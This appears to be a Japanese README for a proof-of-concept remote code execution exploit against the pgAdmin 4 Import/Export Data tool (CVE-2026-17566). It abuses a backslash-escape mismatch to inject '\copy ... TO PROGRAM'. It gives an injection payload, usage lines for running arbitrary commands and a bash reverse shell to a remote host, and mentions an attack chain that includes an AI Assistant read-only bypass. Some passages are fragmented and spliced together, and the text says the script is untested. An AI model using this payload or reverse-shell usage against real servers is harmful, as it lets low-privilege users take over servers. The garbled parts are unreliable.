
pgAdmin 4 インポート/エクスポート RCE (CVE-2026-17566) PoC - バックスラッシュエスケープの不一致によるTO PROGRAMインジェクション
pgAdmin 4 Import/Export Data ツールのリモートコード実行 PoC。_is_query_parens_balanced() 括弧チェッカーと psql のバックスラッシュエスケープの解釈の相違を悪用し、\copy ... TO PROGRAM を注入することで、pgAdmin を実行しているサーバー上で任意のコマンドを実行します。
背景となる攻撃チェーン:CVE-2026-17349(Workspaces 認証情報の漏洩)→ CVE-2026-17351(AI Assistant 読み取り専用バイパス)→ 本脆弱性(RCE)。いずれも低権限の認証済みユーザーのみで成立します。
Import/Export Data ツールは、ユーザーの SQL を Jinja テンプレートに挿入して psql \copy (...) コマンドを構築します。手書きの括弧バランスチェッカーは常に \' をエスケープされた引用符として扱います(正しいのは standard_conforming_strings=off の場合のみ)。一方、PostgreSQL のデフォルトである standard_conforming_strings=on では、psql はバックスラッシュを通常の文字として扱うため、引用符はそのまま閉じられます。
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
チェッカーは ) がまだ文字列内にあると判断するため、括弧の「バランス」は通過します。psql は a\' の位置で文字列を閉じ、) が \copy (...) の囲みを終了させるため、TO PROGRAM 'cmd' が有効な命令となり、psql の popen() によって実行されます。
_is_query_parens_balanced() の導入以降);修正 commit 1496fabeTO PROGRAM インジェクション、同系統)tools_import_export_data 権限を持つ)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
フロー:ログイン(CSRF/session は自動処理)→ サーバーの列挙 → POST /import_export/job/<sid> で構築した is_query_export リクエストを送信。
セキュリティ研究、脆弱性の検証、および防御的テストのみを目的としています。本スクリプトは公開された技術分析に基づいて作成されており、実機での検証は行われていません。リクエストフィールドは対象の pgAdmin バージョンに応じて微調整が必要な場合があります。許可されたテスト環境でのみ実行し、未承認のシステムに対しては使用しないでください。
| 引数 | 説明 |
|---|
--url | pgAdmin のベース URL |
--user / --password(または PGADMIN_PASSWORD) | 低権限アカウント |
--command | 任意のコマンド(単一引用符を含めることは不可) |
--reverse HOST:PORT | bash リバースシェルを生成 |
--server-id | サーバー ID(デフォルトでは最初のものを自動取得) |
--file | エクスポートファイル名(\copy コマンドの構築に使用、デフォルトは /tmp/pgadmin_export.csv) |
--no-verify | TLS 証明書の検証をスキップ |